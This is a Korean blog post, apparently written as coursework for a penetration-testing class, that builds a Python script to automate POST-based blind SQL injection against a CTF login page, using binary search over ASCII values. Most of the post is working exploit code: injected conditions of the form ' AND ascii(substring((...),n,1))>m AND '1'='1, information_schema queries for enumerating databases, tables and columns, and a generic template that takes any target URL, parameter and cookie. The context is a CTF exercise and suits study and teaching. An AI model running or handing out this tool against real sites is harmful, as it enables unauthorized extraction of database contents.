본문 바로가기

보안지식/SQL

[노말틱 모의 해킹 취업반 6주차 해킹과제] Blind SQL Injection Python(POST방식)

안녕하세요! 오늘은 Blind SQL Injection을 했을 때

저희가 일일이 문자 하나하나 넣어서 확인했었잖아요?

 

이제 그걸 자동화하기 위해 파이썬으로 코드를 짜서 만들어보겠습니다.

 

일단은 import requests을 하겠습니다.

이것은 파이썬에서 http 요청을 보내기 위한 모듈인 requests를 가져오는 구문입니다.

HTTP 요청을 하고 응답을 받는 기능을 제공한다고 해요!

 

그리고 공격할 url을 받을 수 있게 하겠습니다.

 

예시 보여드릴게요

 

import requests

url = ("http://ctf.segfaulthub.com:9999/sqli_3/login.php") #url 받기

data = {
    "UserId": "mario",
    "Password": "mariosuper",
    "Submit": "Login"
} #post로 보낼 값 받기

req = requests.post(url, data = data)
print(req.status_code)

 

req을 받고 인터넷 연결 상태을 확인해 보겠습니다.

 

 

200!

 

 

200이면 정상으로 연결 됐다는 이야기입니다!

 

참고로 PHPSESSION은 웹 페이지에 F12 눌러서 확인 가능하고요 또는 편하게 Burp Suite 쓰셔서 확인하시면 됩니다.

 

다음 코드에 PHPSESSION을 추가하여 적겠습니다. 안 하면 가끔 어느 사이트는 차단하는 경우가 있더라고요

 

좋아요 이제 blind sqli 스텝을 그대로 따라 하겠습니다. 만약 잘 모르신다면 

https://mynameisarke.tistory.com/33

 

[노말틱 모의 해킹 취업반 5주차 해킹과제] Blind SQLi

안녕하세요! 오늘은 SQL 인젝션 공격 중 하나인 Blind SQLi을 공부해 보겠습니다. 일단 이 Blind SQLi는 어디서 공격을 할까요? -공격 위치? DB결과가 화면에 안 나오는 곳. Error based 나오는 곳 ALL , 사실 S

mynameisarke.tistory.com

참고하세요!

 

 

먼저 저희가 select까지는 저희가 공격이 통한다는 것을 사이트에서 알 수가 있습니다.

그리고 참과 거짓의 응답 차이을 알아야 합니다.

 

예를 들어

 

Worng!

 

거짓이면 저렇게 wraning이 나오죠?

 

만약 참이면

 

참일 경우

 

참이면 wraning이 안 나오는 것을 알 수가 있죠.

 

 

그러니 저희가 응답을 보내면 wraning이 나오면 거짓 안 나오면 참이라는 이야기겠죠!

그러니 참과 거짓은 wraning으로 분별 가능하다 까지 저희가 알아내야 합니다.

 

각 사이트마다 참과 거짓은 다르니깐요.

 

 

다시 파이썬 코드로 넘어가서 참과 거짓 구별 가능한 값을 입력받고 if문으로 참인지 거짓인지 확인하겠습니다.

 

import requests

url = "" #공격할 url 작성

data = {
    ""
} #POST로 보낼 값 각각 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=YOUR_COOKIE"
} #header 기본 구문, 쿠키도 작성

response = requests.post(url, data=data, headers=headers)

index_value = "" #참 거짓 식별용

if index_value in response.text:
    print("FALSE")
else:
    print("TRUE")

 

 

본문은 이렇고 안에 값들을 넣고 실행해 보겠습니다.

 

 

import requests

url = "http://ctf.segfaulthub.com:9999/sqli_3/login.php" #공격할 url 작성

data = {
    "UserId": "admin",
    "Password": "mariosuper",
    "Submit": "Login"
} #POST로 보낼 값 각각 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=TOUR_COOKIE"
} #header 기본 구문, 쿠키도 작성

response = requests.post(url, data=data, headers=headers)

index_value = "Warning" #참 거짓 식별용

if index_value in response.text:
    print("FALSE")
else:
    print("TRUE")

 

 

cookie는 각자 할당된 값을 넣으시면 돼요 PHPSESSION에 있어요.

 

그리고 실행!

 

 

이렇게 Warning이 나오면 거짓이라는 것을 판별하게 했습니다.

 

 

이제 어떡해 작성하면 되는지 알았으니 본격적으로 blind SQLi을 작성하기 시작하겠습니다.

 

저희는 알고 있습니다 Blind SQLi는 (ascii(substring((SQL),1,1)) > 0) AND '1'='1 이런 형태이라는 것을요

 

이 query문을 따로 저장하고 Blind SQLi 함수를 만들겠습니다.

 

 

import requests
url = "http://ctf.segfaulthub.com:9999/sqli_3/login.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=l0dagi848dvta38hu2t6gtts5k"
} #header 기본 구문, 쿠키도 작성

blind_query = " 'AND (ascii(substring(({}),{},1)) > {}) AND '1'='1 " #수정할거면 수정 하기 --Blind sqli 용

blind_sqli(blind_query) #Blind_sqli 시작

def blind_sqli(query) :

    data = {
        "UserId": "admin"+query,
        "Password": "mariosuper",
        "Submit": "Login"
    } #POST로 보낼 값 각각 작성

    response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

    index_value = "Warning" #참 거짓 식별용

    if index_value in response.text:
        print("FALSE")
    else:
        print("TRUE")

간단하게 만들었습니다.

 

이제 query 안에 {}을 수정하면 되겠죠?

 

저희가 이제 데이터베이스 이름, 테이블 이름, 칼럼명, 데이터 값을 반복문 통해 판별할 예정이잖아요?

 

그러니 이 반복문을 따로 함수를 만들겠습니다. 계속해서 안에다가 적기엔 코드가 비효율적이고 길어지니깐요.

 

반복문 이름을 binarySearch로 하겠습니다. 왜냐하면 이진탐색으로 검색을 할 거거든요.

 

이진 탐색 함수를 작성하겠습니다. 알고리즘은 간단하죠

처음과 끝을 설정해 주고 가운데값 넣어주고 실행 후

거짓이면 end값을 mid 값으로 참이면 start을 mid값으로 바꾸면 되겠죠.

 

거짓일 때면 mid보다 작은 값을, 참이면 mid보다 큰 값을 말하니깐요!

 

그리고 만약  0이면 널값이니 종료하게 하겠습니다.

 

import requests
import urllib.parse

url = "http://ctf.segfaulthub.com:9999/sqli_3/login.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=YOUR_COOKIE"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "Warning" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2) 

        data = {
            "UserId": "mario" + blind_query.format(query, s, 0),
            "Password": "mariosuper",
            "Submit": "Login"
        } #먼저 아스키 코드가 0인지 식별

        response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

        if index_value in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "UserId": "mario"+blind_query.format(query, s, mid),
                "Password": "mariosuper",
                "Submit": "Login"
            } #POST로 보낼 값 각각 작성


            response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화

    return value


blind_query = "' AND ascii(substring(({}),{},1))>{} AND '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

총코드입니다! 이 총코드의 본문은 맨 아래에 작성했습니다

 

binary함수--

먼저 0을 넣어서 s 번째 자리가 0보다 클 때 거짓이면 NULL이니깐 바로 종료하게 했습니다.

그리고 mid값을 넣으면서 계속 비교하고 이진 탐색을 하는데 만약

start+1와 end가 같거나 start+1이 크면 end가 답인 것을 알 수 있습니다.

만약 그러면 chr()함수로 아스키코드을 해석을 한 후 value에 추가저장하게 했습니다.

 

쭉쭉쭉 하다 보면 결국 NULL값이 나와서 break 되겠죠 그럼 value에 자연스레 값이 추가되어 있을 겁니다

 

 

blind_sqli함수--

결국 여기서 query문을 작성, 식별용 단어를 작성 말곤 없습니다.

그리고 binary함수로 찾은 문자열을 value에 받고 출력을 하게 했습니다.

그리고 일부러 break을 안 써서 계속 남아 있게 했습니다.

계속해서 sql문을 작성해야 되기 때문입니다. 만약 실행 중단 하고 싶으면 터미널 창에서 ctrl+c 누르면 됩니다!

 

 

 

data에 format 함수로 각각 값들이 들어가게 했고요

 

s가 몇 번째 자리인지

start,end는 각각 시작 아스키코드값 끝의 아스키코드값입니다.

 

한번 제가 저번에 풀어본 3번 문제를 풀어보겠습니다.

 

 

실행!

조금 기다리시면?

 

 

좋아요!

 

다음으로 table 명을 구해보겠습니다.

sql문은

 

select table_name from information_schema.tables where table_schema='sqli_3' limit 0,1 이죠

 

너무 좋아요 너무 편해요

 

두 번째, 세 번째 테이블도 있나 보겠습니다.

 

select table_name from information_schema.tables where table_schema='sqli_3' limit 1,1

 

select table_name from information_schema.tables where table_schema='sqli_3' limit 2,1

 

 

편안

 

2번째는 member 테이블이고 3번째는 없어서 안 나오네요

 

다음은 칼럼명을 추출하겠습니다.

1번째 테이블인 flag_table의 칼럼을 가져오겠습니다.

 

select column_name from information_schema.columns where table_name='flag_table' limit 0,1

 

 

flag가 있고 다음은 없네요

 

이제 칼럼도 알았으니 다음으로 데이터를 추출하겠습니다!

 

SELECT flag FROM flag_table limit 0,1

 

바로 나와 주네요

 

이렇게 해서 매우 편한 Blind sqli python을 만들어 보았습니다 감사합니다.

 

 

 

 

-총코드의 본문 

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=YOUR_COOKIE"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "식별용단어" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = int((start+end)/2) 

        data = {
            "파라미터이름": "파라미터값" + blind_query.format(query, s, 0),
        } #먼저 아스키 코드가 0인지 식별

        response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

        if index_value in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "파라미터이름": "파라미터값"+blind_query.format(query, s, mid),
            } #POST로 보낼 값 각각 작성


            response = requests.post(url, data=data, headers=headers) #만약 get방식이면 수정하기

            if index_value in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화
                print(value) #잘되는지 확인용

    return value


blind_query = "' AND ascii(substring(({}),{},1))>{} AND '1'='1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

만약 오류가 있으면 그때 또 수정하겠습니다! 감사합니다

.

.

.

.

만약 get 방식이시다면 requests.get() 으로 바꾸시고 data을 params 으로 바꾸시면 됩니다!

.

.

.

.

5/10 수정을 조금 했습니다. 데이터 보내는 과정을 한 함수로 묶어서 깔끔하게 보이게 수정했습니다.

단점이 있습니다 아무래도 함수로 보내고 받아오는 과정이 새로 생겨서 조금 더 느립니다.

기본 4초 이상은 느린 거 같습니다.

 

만약 data 부분을 하나만 작성하고 싶으시면 밑에 있는 코드 이용하시면 되고요

빠르신 거 좋아하시면 바로 위에 있는 본문 이용 하시면 됩니다!

 

 

-총코드 수정본---

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=Your_Cookie"
} #header 기본 구문, 쿠키도 작성

blind_query = "' AND ascii(substring(({}),{},1))>{} AND '1'='1" #수정할거면 수정 하기 --Blind sqli 용

def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "[Word]" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")

def Send_data(query, s, mid) :

    data = {
            "[parameter]": ""+blind_query.format(query, s, mid),
    } #POST로 보낼 값 각각 작성

    return requests.post(url, data=data, headers=headers) #request 즉 응답을 반환한다. 만약 get 방식이면 .get으로 바꾸고 params로 바꾸기

def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 32 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""

    while True :
        mid = int((start+end)/2)

        response = Send_data(query,s,0) #0부터 보내봐서 NULL인지 확인한다

        if index_value in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :

            response = Send_data(query,s,mid) #mid 값을 보내봐서 응답을 받아온다

            if index_value in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 32 #초기화
                end = 126 #초기화
                print(value) #잘되는지 확인용

    return value


blind_sqli(blind_query) #blind_query 시작

 

 

추가로 만약 다른 데이터 베이스 조회하고 싶으시다면

 

select schema_name AS DatabaseName From information_schema.schemata limit 0,1

 

이 명령문을 이용하시면 되요!